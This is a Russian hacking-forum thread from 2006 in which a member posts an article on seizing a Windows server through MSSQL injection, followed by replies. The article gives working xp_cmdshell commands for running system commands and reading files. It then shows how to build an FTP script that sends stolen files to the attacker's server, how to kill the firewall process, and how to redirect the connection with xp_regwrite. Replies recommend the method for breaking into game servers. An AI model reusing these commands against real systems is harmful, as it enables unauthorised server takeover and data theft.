Захватываем контроль над сервером используя mssql.

Discussion in 'Статьи' started by vmn, 12 Dec 2006.

  1. vmn

    vmn Elder - Старейшина

    Joined:
    16 Oct 2006
    Messages:
    26
    Likes Received:
    12
    Reputations:
    3
    Статья о том, что можно выжать из найденной инъекции на сервере MSSQL.

    Как известно, язык mssql поддерживает несколько команд в одном запросе. Они разделены через ; Настоящий подарок для хакера! В отличие от mysql есть возможность ввести любую команду в БД сервера.

    В mssql есть куча хранимых системных процедур. Вот их краткий список -
    xp_enumgroups (группы из ОС Windows)
    xp_ntsec_enumdomains (список доменов сети)
    xp_enumdsn (источники данных ODBC)
    xp_loginconfig (инфо о пользователе)
    xp_logininfo (все пользователи, залогинившиеся на данный момент в системе)
    xp_msver (версия SQL сервера)
    xp_cmdshell <команда> (исполнение файла через cmd.exe)
    xp_servicecontrol <действие>,<служба> (запускает или останавливает указанные процесс)
    xp_terminate_process <идентификатор процесса> (закрытие процесса по его ProcessID)
    xp_startmail, xp_sendmail (обращение к потовому демону sendmail)
    sp_makewebtask (выполнение команды html вида)

    Нас будет интересовать в основном xp_cmdshell. Благодаря возможности вывода комманд в файл мы может увидеть результаты команды. Пример:
    exec master.dbo.xp_cmdshell 'dir "c:/" >> c:/boot.dll'
    Теперь в файле c:/boot.dll будет список директорий диска C.

    Немного о чтении файлов:
    CREATE TABLE temp_table (file2 char(5000) NOT NULL) - создаем таблицу куда будем читать.
    truncate table temp_table - чистим эту таблицу
    bulk insert temp_table from 'c:/boot.ini' - загружаем файл в таблицу
    SELECT * FROM temp_table - выдаем на экран содержимое
    Внимание: таким способом можно читать файлы только если есть возможность вывода информации на экран, в обратном случае смотрим ниже.

    После окончания работы с таблицей не забудьте
    DROP TABLE temp_table
    иначе возникнут пробемы у хозяев сервера при бэкапах.

    Очень часто возникает потребность в скачивании важных файлов с сервера (или наобот закачать троян на сервер).
    Нетривиальная задача - ведь у нас есть только командная строка и мы даже не всегда можем посмотреть результаты выполнения команды.
    Но команда ftp очень облегчает жизнь.
    Допустим 10.10.10.10 - наш фтп сервер, 123 - пользователь, 123 - пароль пользователя 123.
    Тогда выполнив группу команд
    exec master.dbo.xp_cmdshell 'copy c:\windows\system32\cmd.exe c:\cmd1.exe' - делаем копию cmd чтобы можно было выполнять @echo

    exec master.dbo.xp_cmdshell 'c:\cmd1.exe /c @echo open ftp.server.net > c:\ftp.ini'
    exec master.dbo.xp_cmdshell 'c:\cmd1.exe /c @echo 123 ftp >> c:\ftp.ini'
    exec master.dbo.xp_cmdshell 'c:\cmd1.exe /c @echo 123 ftp >> c:\ftp.ini'
    exec master.dbo.xp_cmdshell 'c:\cmd1.exe /c @echo put c:\boot.ini >> c:\ftp.ini'
    exec master.dbo.xp_cmdshell 'c:\cmd1.exe /c @echo bye >> c:\ftp.ini'
    это мы создали файлег c:/ftp.ini с содержанием
    open 10.10.10.10
    123
    123
    put c:\boot.ini
    bye

    exec master.dbo.xp_cmdshell 'c:\cmd1.exe /c ftp -i -s:c:\ftp.ini' - грузим c:/boot.ini к себе на фтпшник.
    Совет: потренируйтесь сначала на своем домашнем компьютере, убедитесь что все работает.

    Разуемеется если на сайте есть сайт то можно сделать намного проще - copy c:/boot.ini c:/inetpub/wwwroot/123.ini и потом читать его из браузера как http://site.ru/123.ini
    Однако во первых нужно знать установочную директорию сайта, а во вторых загрузить трояна таким способом у вас не получится.

    Итак если вы вслепую делаете инъекцию (например union select... сделать не получилось или вы нашли инъекцию в какой-нибудь онлайт игре) вы все равно сможете узнать результаты выполнения комманд.
    Просто вместо c:/boot.ini из предыдущего примера отправляйте к себе на фтп файл с результатами команд cmd.

    Про блокирование фаервола:
    Самый простой (но паленый) способ это поглядеть список процессов при помощи
    exec master.dbo.xp_cmdshell 'tasklist >> c:/boot.dll', найти там процесс фаервола и убить его (к сожалению команды-аналога killl в unix не помню, поглядите в справочниках).
    Также у нас есть полный доступ к системному реестру винды при помощи xp_regwrite.
    Например разрешим mssql серверу соединяться по 80 порту:
    exec xp_regwrite
    'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServ er\Client\ConnectTo','Hacke
    rSrvAlias','REG_SZ','DBMSSOCN,hackersip,80'

    Итак в случае если сервер настроен по умолчанию (под администратором в виндовсе и под sa в mssql), если нету ограничения на длину запроса и нету фильтрации спецсимволов мы можем захватить полный контроль над сервером.
    Могу сказать, что такие настройки встречаются очень часто. Таким образом, найдя инъекцию в игре или на сайте, можно скачать важную информацию с сервера или захватить над ним полный контроль.

    Моя первая статья, не судите строго. Писал по своему опыту, пришлось долго искать необходимую информацию. Может быть поможет кому-нибудь.

    Ссылки по теме:

    _http://www.marketer.ru/node/795/
    _http://fenix.lamak.ru/Journal/XAKEP/2003/(8)56/050/2.htm

    Про отключение стандартного фаервола из командной строки windows где-то видел тему, но потерял ссылку (
     
    6 people like this.
  2. Xex

    Xex Banned

    Joined:
    10 Jul 2005
    Messages:
    108
    Likes Received:
    41
    Reputations:
    7
    Re:"Моя первая статья, не судите строго. Писал по своему опыту, пришлось долго искать необходимую информацию." - фуфло, это я читал где то точно, не буду спорить может ты из нескольких статей это вырезал, но не твое точно,
    даже сомневаюсь, что ты в курсе что есть такое хранимые процедуры.
     
  3. NaX[no]rT

    NaX[no]rT Members of Antichat

    Joined:
    3 Sep 2005
    Messages:
    489
    Likes Received:
    201
    Reputations:
    202
    taskkill/?
    При килянии его из процессов, он тебя пошлёт на йух.
    Молодец, продолжай так же
     
    _________________________
  4. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Хорошо хотя много лишнего и оформление не очень
     
  5. ReanimatoR

    ReanimatoR Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    120
    Likes Received:
    118
    Reputations:
    34
    фуфло эт у тебя... я эту статью искал дня два в инете. Давай попробуй, чтож ты протсо так орешь?
    А по делу. Это реальная статья, особенно очень пригодится при взломе игровых серверов;)
     
  6. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    400
    Likes Received:
    151
    Reputations:
    80
    http://injection.rulezz.ru/MSSQL-Injection.html ))) пародия??